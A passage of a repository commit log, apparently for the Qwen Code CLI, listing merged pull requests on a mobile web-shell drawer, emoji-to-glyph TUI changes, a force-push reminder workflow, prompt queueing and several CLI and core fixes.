  and the cancel fallback still releases the mediator.

Generated with AI

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

---------

Co-authored-by: 秦奇 <gary.gq@alibaba-inc.com>
Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
2026-06-30 22:43:52 +00:00
pomelo
7b9e31885b
feat(web-shell): add mobile sidebar drawer with session list (#6003)
Some checks are pending
E2E Tests / E2E Test (Linux) - sandbox:docker (push) Waiting to run
E2E Tests / E2E Test (Linux) - sandbox:none (push) Waiting to run
E2E Tests / E2E Test - macOS (push) Waiting to run
* feat(web-shell): add mobile sidebar drawer with session list

Replace the display:none behavior at viewport <=760px with an overlay
drawer pattern. A hamburger menu button appears on mobile, tapping it
slides the existing WebShellSidebar in as a fixed overlay with a
semi-transparent backdrop. Selecting or creating a session auto-closes
the drawer. Desktop layout (>=761px) is unaffected.

Closes #6000

* fix(web-shell): address review feedback for mobile sidebar drawer

- Use display:contents for desktop wrapper transparency (Critical: sidebar was hidden)
- Fix z-index stacking so sidebar renders above backdrop in drawer
- Force sidebar expand when mobile drawer is open (collapsed state)
- Hide resizeHandle on mobile to prevent touch scroll conflicts
- Reset drawer state on viewport resize via matchMedia listener
- Add role=dialog, aria-modal, Escape key dismissal, body scroll lock
- Add aria-expanded to hamburger button
- Close drawer when opening Settings or resuming sessions

* fix(web-shell): address second round of review feedback

- Remove dead :global(.sidebar) selector (CSS Modules hash class names)
- Fix Escape key capture-phase handler to not intercept sidebar inputs
- Conditionally apply role=dialog/aria-modal only when drawer is open
- Stop toggling collapsed prop on drawer open/close to preserve sidebar state
- Add closeMobileDrawer() for bare /resume command path
- Fix hamburger button vertical centering in empty chat state on mobile

* fix(web-shell): fix stacking context and escape handler in mobile drawer

* fix(web-shell): prevent iOS Safari background scroll when drawer is open

* chore: remove accidentally committed .qwen-session and gitignore it

The .qwen-session file is a developer-local session UUID generated by
qwen serve. It was accidentally committed to the repo and should never
be tracked.

* fix(web-shell): address review feedback for mobile drawer

- Don't preventDefault touchmove inside the drawer so the session list
  can scroll natively; only block scrolling on the page behind it.
- Defer Escape to a pending tool/permission approval (reject) instead of
  closing the drawer when a prompt is visible.
- Reuse isEditableTarget from utils/dom and only bail out for editable
  targets outside the drawer, so the drawer search input still closes on
  the first Escape.
- Close the drawer before awaiting loadSession so it doesn't linger over
  the old transcript, matching the other session-switch paths.
- Keep the drawer panel visible until the backdrop finishes fading out to
  avoid a one-frame flicker on close.

Co-Authored-By: Qwen-Coder <noreply@qwen.ai>

* fix(web-shell): mobile drawer ignores collapsed rail + block backdrop scroll

- collapsed: a user who collapsed the desktop sidebar got a mobile drawer that
  still rendered as the icon rail (no session list — the whole point of the
  drawer). Force the expanded layout while the drawer is open.
- touchmove: the allowlist matched the outer [data-mobile-drawer] wrapper, which
  also contains the full-screen backdrop, so a touchmove starting on the dim
  backdrop skipped preventDefault and let iOS Safari scroll the page behind.
  Exclude the backdrop so only the panel keeps native scroll.

Co-Authored-By: Qwen-Coder <noreply@qwen.ai>

* fix(web-shell): harden mobile drawer collapse, error path, and width cap

- Hide the sidebar collapse button while the mobile drawer is open so its
  no-op toggle can no longer silently persist desktop collapsed state.
- Close the drawer before awaiting createSession() so a failed create no
  longer leaves the drawer stuck open with page scroll locked.
- Drop redundant width/min-width/position from .sidebar.mobileOpen and cap
  it with max-width:100vw so a wide persisted width can't overflow phones.

Co-Authored-By: Qwen-Coder <noreply@qwen.ai>

---------

Co-authored-by: pomelo-nwu <czynwu@gmail.com>
Co-authored-by: Qwen-Coder <noreply@qwen.ai>
2026-06-30 15:34:10 +00:00
pomelo
a756676b21
fix(cli): replace all emoji with Unicode text symbols in TUI rendering (#5999)
* fix(cli): replace all emoji status icons with Unicode text symbols

Comprehensive cleanup of emoji in TUI rendering paths (follow-up to
#5787 / #5788). Replaces width-2 emoji with width-1 Unicode text symbols
from the project's existing glyph vocabulary.

## Source changes (25 source files)

Status indicators:
- McpStatus: 🟢→● 🔄→◐ 🔴→● (colors preserved via Text color prop)
- ideCommand: 🟢→● 🟡→◐ 🔴→● (both getIdeStatusMessage functions)
- Footer: 🔒 removed (sandbox text label is self-explanatory)
- Footer: ⚙→▷ (workflow active indicator)
- ToolMessage: →◌ (progress + queued approval)
- McpStatus: →◌ (server startup message)
- LiveAgentPanel: ⏸→‖ (pause glyph)

Text prefixes and labels:
- StatusMessages: 🔎→◎ (vision bridge gutter prefix)
- Session: 🚫→✗ (blocked notifications)
- useGeminiStream: 🔎→◎ 🚫→✗ 💡→★ (prefixes and headers)
- useContextualTips: 💡→★ (tip prefix)
- WelcomeBackDialog: 👋🎯📋 removed (text labels are self-explanatory)
- CreationSummary: →✓ →✗
- summaryCommand: →✗
- AppContainer: →✗
- AgentEditStep: →✗
- useAutoAcceptIndicator: ℹ️→i
- McpStatus Tips: 💡→★

Core package:
- agent-statistics: 📋→▸ 🔧→● ⏱️→(stripped) 🔁→● 🔢→● →✓ 🚀→● 💡→★
- shell: 🤖 removed from PR attribution footer
- artifact-tool: 📄 removed from publish display
- coreToolScheduler: ⚠️→⚠ (strip VS16)

Standardized ⚠️ (U+26A0+VS16, width-2) → ⚠ (U+26A0, width-1):
- CommandFormatMigrationNudge, command-migration-tool, useGeminiStream

i18n: all 9 locale files updated for changed keys.

## Test changes (5 test files)

- ideCommand.test.ts: 5 emoji assertions updated
- McpStatus.test.tsx: 13 snapshots updated
- HistoryItemDisplay.test.tsx: 🔎→◎ assertions
- useGeminiStream.test.tsx: VS16 + 🔄 assertions
- agent-statistics.test.ts: all emoji assertions updated

* fix(cli): address review feedback — fix docs, tests, and glyph issues

- Fix McpStatus test snapshots to actually exercise connecting/disconnected
  states via serverStatus prop instead of ineffective vi.spyOn mock
- Update user docs (status-line.md, ide-integration.md) to match new symbols
- Change Footer workflow indicator from ⚙ to ▷ for consistency
- Fix Duration line leading space in agent-statistics formatCompact/formatDetailed
- Revert ‖ (U+2016, EAW=Ambiguous) back to ⏸ (EAW=Narrow) for CJK terminals
- Restore 🤖 in PR attribution (GitHub web UI, not TUI)
- Add old emoji to lspCommand.test.ts negative assertion
- Tighten Footer test to assert full ▷ glyph text

* fix(cli): sync JSDoc with code for shell attribution and regenerate McpStatus snapshot

* fix(cli): distinct IDE status glyphs + mark LLM-facing retry directives

- ideCommand: Connected and Disconnected both rendered an identical bullet
  differing only by color, indistinguishable under deuteranopia/protanopia, in
  NO_COLOR terminals, or when copy-pasted. Use the PR's established ✓/✗
  vocabulary (✓ Connected, ✗ Disconnected); Connecting keeps ◐.
- coreToolScheduler: note that the ⚠ in the two RETRY_LOOP directives is an
  LLM-facing prompt string, not a TUI glyph, so it isn't 'fixed' for width later.

Co-Authored-By: Qwen-Coder <noreply@qwen.ai>

---------

Co-authored-by: pomelo.lcw <pomelo.lcw@alibaba-inc.com>
Co-authored-by: Shaojin Wen <shaojin.wensj@alibaba-inc.com>
Co-authored-by: Qwen-Coder <noreply@qwen.ai>
2026-06-30 15:18:01 +00:00
Shaojin Wen
52f875a875
ci(workflows): remind authors not to force-push active PRs (#6035)
* ci(workflows): remind authors not to force-push active PRs

Add a workflow that detects force-pushes (rebase/amend/reset) to open PRs
via the pull_request_target synchronize event and posts a one-time,
bilingual reminder that force-pushing invalidates existing review comments
and that the integration bots squash all changes into a single commit
automatically. A normal push (compare status "ahead") is ignored; the
reminder is posted at most once per PR, bot-initiated pushes are skipped,
and a failed compare is treated conservatively (no comment).

* ci(workflows): address review — add issues:write, serialize without cancel

- Add `issues: write`: the listComments/createComment calls go through the
  Issues API; declaring it matches the repo's other PR-commenting workflows
  and avoids any risk of a 403 making the workflow inert.
- Set `cancel-in-progress: false`: an in-flight run that already detected a
  force-push must finish and post. The concurrency group still serializes
  runs per PR, and the once-per-PR marker prevents duplicates, so later
  pushes queue and then no-op instead of cancelling (and silently dropping)
  a pending reminder.

* ci(workflows): harden force-push detection per review

- Marker dedup now requires the comment to be from github-actions[bot], so a
  user pasting the marker string into a comment can't suppress reminders.
- Skip known automation logins (qwen-code-dev-bot et al.) that push via PAT as
  sender.type 'User', not just GitHub App bots (mirrors qwen-autofix KNOWN_BOTS).
- Narrow the compare catch to 404 (orphaned old tip -> skip); rethrow other
  errors so auth/rate failures go red instead of silently no-op'ing.
- Wrap createComment with structured error logging + rethrow.

Kept 3-dot compare and base-repo owner: verified that 3-dot returns
diverged/behind for force-pushes and that the base repo resolves fork-PR
commits, while the suggested 2-dot syntax 404s in the REST API.

* test(ci): add structural test for the force-push reminder workflow

- Add scripts/tests/pr-force-push-reminder-workflow.test.js (runs under
  test:scripts, which CI chains into test:ci). It asserts the trigger, repo
  guard, permissions, serialized concurrency, KNOWN_AUTOMATION sync with
  qwen-autofix, the 3-dot compare on the base repo, 404-vs-rethrow, the marker
  author check, and the bilingual body — locking in the reviewed behaviors.
- Wrap the listComments paginate call in the same core.error + rethrow the
  other two API calls already use.
- Note that KNOWN_AUTOMATION must stay in sync with qwen-autofix.yml KNOWN_BOTS.

* ci(workflows): drop concurrency group, rely on marker for idempotency

A concurrency group keeps at most one pending run per group, so a burst of
pushes can cancel a still-pending force-push run before it reaches the script,
dropping the reminder this workflow exists to post. Remove the group entirely:
every synchronize event now runs independently and is always evaluated, and the
once-per-PR marker provides idempotency. A rare double-post on two
near-simultaneous first force-pushes is the acceptable cost of never silently
missing one. Update the structural test to assert there is no concurrency block.

The reviewer's suggested `queue: max` is not a valid GitHub Actions concurrency
key (only `group`/`cancel-in-progress` are allowed) and fails actionlint.

* test(ci): use Qwen Team header and assert the dedup skip path

- Switch the copyright header to the prevailing `Qwen Team` (14 of 17 sibling
  test files use it; this file had copied an older Google LLC header).
- Assert the idempotency skip log line so removing the marker guard fails a test.

* test(ci): mechanically enforce KNOWN_AUTOMATION sync with qwen-autofix

Read qwen-autofix.yml's KNOWN_BOTS and assert each login is also skipped here,
so adding a bot there without updating this workflow fails the test instead of
silently drifting. Replaces the hardcoded login list whose comment overclaimed
that the sync was verified.
2026-06-30 14:55:00 +00:00
ytahdn
1609bdaa32
feat(web-shell): queue prompts while turns are running (#6005)
* feat(web-shell): queue prompts while turns are running

* fix(web-shell): address pending prompt review feedback

* fix(web-shell): tighten queued prompt event handling

* fix(web-shell): avoid showing active prompt as queued

* fix(web-shell): address queued prompt review follow-ups

* fix(web-shell): address pending prompt review issues

* fix(web-shell): reconcile queued prompt actions from server

* fix(daemon): address pending prompt critical review

* test(webui): expect submit abort signal forwarding

* fix(web-shell): avoid duplicate queued prompt sync

* fix(web-shell): keep local slash commands out of queue

* fix(webui): avoid aborting prompt admission

* fix(daemon): avoid queued prompt cancel cascades

* fix(webui): avoid stale client id for queue cleanup

* test(webui): update stale session queue cleanup expectation

* fix(web-shell): preserve queue reconciliation identity

* fix(web-shell): guard queue clear session writes

---------

Co-authored-by: ytahdn <ytahdn@gmail.com>
Co-authored-by: qwen-code-dev-bot <qwen-code-dev-bot@users.noreply.github.com>
2026-06-30 14:51:28 +00:00
易良
91f3e8ada3
fix(acp): stop repeated invalid tool parameter loops (#6076) 2026-06-30 14:26:03 +00:00
VectorPeak
f23357d6aa
fix(cli): Support Windows-style tilde paths (#6029)
* fix(cli): support Windows-style tilde paths

* fix(cli): share tilde path expansion

* test: make USERPROFILE path expectations cross-platform

* fix(cli): address tilde path review feedback

* fix(core): preserve tilde trailing separators

* fix(core): preserve home path trailing separators
2026-06-30 13:57:47 +00:00
qqqys
ceb1d307a1
fix(channels): structure DingTalk stream logs (#5998)
* fix(channels): structure DingTalk stream logs

* fix(channels): harden dingtalk downstream handling

* fix(channels): harden dingtalk downstream fields

* fix(channels): address dingtalk review blockers

* fix(channels): validate dingtalk downstream routing

* fix(ci): add serve fast path bundle check
2026-06-30 13:53:04 +00:00
易良
c5fb9fd1e7
fix(ci): create isolated home before tests (#6071)
Some checks are pending
E2E Tests / E2E Test (Linux) - sandbox:docker (push) Waiting to run
E2E Tests / E2E Test (Linux) - sandbox:none (push) Waiting to run
E2E Tests / E2E Test - macOS (push) Waiting to run
2026-06-30 12:42:44 +00:00
易良
d545536dcb
Avoid full-history clones in OOM-prone paths (#6018)
* fix(core): avoid cloning full history on API errors

* fix(core): address history OOM review feedback

* fix(core): resolve history OOM review comments

* fix(core): address remaining history OOM feedback

* fix(core): resolve API error diagnostic review

* fix(core): resolve history OOM review comments

* fix(core): exclude thought parts from error report textPreview

Thought-tagged parts (model reasoning tokens) were included in the
textPreview field of API error diagnostic summaries, potentially leaking
internal reasoning into error reports. Filter them out consistently with
the rest of the codebase.

* style(core): format compaction trigger reason union
2026-06-30 12:03:07 +00:00
易良
cc0a6391be
Sanitize subagent result tags (#6027)
* fix(core): sanitize subagent result tags

* fix(core): resolve subagent result review comments

* test(core): complete resume subagent stats mock

* fix(core): preserve failed subagent diagnostics

* test(core): cover plain subagent summary result

* fix(core): address subagent result review feedback

* refactor(core): simplify subagent result sanitization

* fix(core): address remaining subagent result feedback

* fix(core): close subagent result review gaps
2026-06-30 11:52:01 +00:00
jinye
ea536d361f
fix(cli): Handle ACP read_file for managed local paths (#6021)
* fix(cli): handle ACP read_file local roots

Allow ACP read_file calls to fall back to local reads for explicitly permitted local roots when the serve workspace boundary rejects them, and preserve useful messages for plain object read errors.

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6021)

Add the missing getUserAutoMemoryRoot export to the acpAgent test core mock so the updated acpAgent import resolves under Vitest.

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6021)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6021)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(acp): Narrow local read fallback temp roots

Remove the broad OS temp directory from default read_file allow roots and ACP local read fallback roots. Keep qwen-managed temp roots readable and reuse the shared isSubpath helper after realpath resolution for ACP fallback containment.

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: fix CI failure on PR #6021

Add the serve fast-path bundle check script and root npm script that the current CI workflow invokes. This mirrors the already-merged mainline check without pulling unrelated workflow or test config changes into this PR.

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(cli): address ACP read error review feedback

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(cli): harden ACP error normalization

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6021)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6021)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6021)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6021)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6021)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: fix Windows CI path expectation (#6021)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6021)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6021)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6021)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6021)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

---------

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
2026-06-30 11:15:49 +00:00
jinye
f37c64c7f2
fix(cli): Keep serve health responsive before runtime load (#6013)
* fix(cli): keep serve health responsive before runtime load

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6013)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6013)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6013)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6013)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6013)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6013)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6013)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6013)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6013)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6013)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6013)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6013)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: fix deferred runtime route startup (#6013)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6013)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6013)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6013)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* codex: address PR review feedback (#6013)

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

---------

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
2026-06-30 10:39:08 +00:00